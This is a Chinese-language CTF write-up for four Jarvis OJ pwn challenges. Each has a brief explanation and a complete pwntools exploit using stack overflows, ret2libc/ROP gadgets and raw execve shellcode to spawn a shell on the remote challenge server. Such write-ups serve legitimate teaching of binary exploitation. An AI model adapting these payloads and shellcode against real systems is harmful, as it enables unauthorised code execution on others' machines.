题目资源在这里
这几个题目比较简单,就不一一详细描述了,exp如下:
level0
栈溢出十分明显,程序里自带callsystem的函数,看了一下,就是调用/bin/sh,直接跳转过去就好
from pwn import *
#p=process('./level0')
p=remote('pwn2.jarvisoj.com',9881)
call_system=0x0000000000400596
payload='a'*136+p64(call_system)
p.send(payload)
p.interactive()
level1
同样是很简单的栈溢出,弄清楚shellcode的存放地址
from pwn import *
# p = process('./level1') # local
p = remote('pwn2.jarvisoj.com', 9877) # remote
p.recvuntil(':')
address = p.recvuntil('?', drop=True)
address = int(address, 16)
print address
junk = 'a' * 0x88
ebp = 'aaaa'
retaddr = address + 0x88 + 4 + 4
shellcode = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f" \
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0" \
"\x0b\xcd\x80\n"
payload = junk + ebp + p32(retaddr) + shellcode
p.send(payload)
p.interactive()
level2
还是栈溢出,搜索字符串发现bss段里有“/bin/sh”,可以直接调用。注意p32(4)是虚构的返回地址,随便是申都可以。
from pwn import *
#p=process('./level2')
p=remote('pwn2.jarvisoj.com',9878)
systemadd=0x08048320
shelladd=0x0804A024
payload='a'*140+p32(systemadd)+p32(4)+p32(shelladd)
p.send(payload)
p.interactive()
level2_x86
本题主要考察的是64位下参数的传递顺序,从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9,之后所有的参数通过栈来传递。本题的关键在于将/bin/sh放在RDI寄存器中。
from pwn import *
#p=process('./level2_x64')
p=remote('pwn2.jarvisoj.com',9882)
level2=ELF('./level2_x64')
systemadd=level2.plt['system']
print hex(systemadd)
shelladd=0x00600a90
rdiret=0x00000000004006b3
payload='a'*128+"b"*8+p64(rdiret)+p64(shelladd)+p64(systemadd)
p.send(payload)
p.interactive()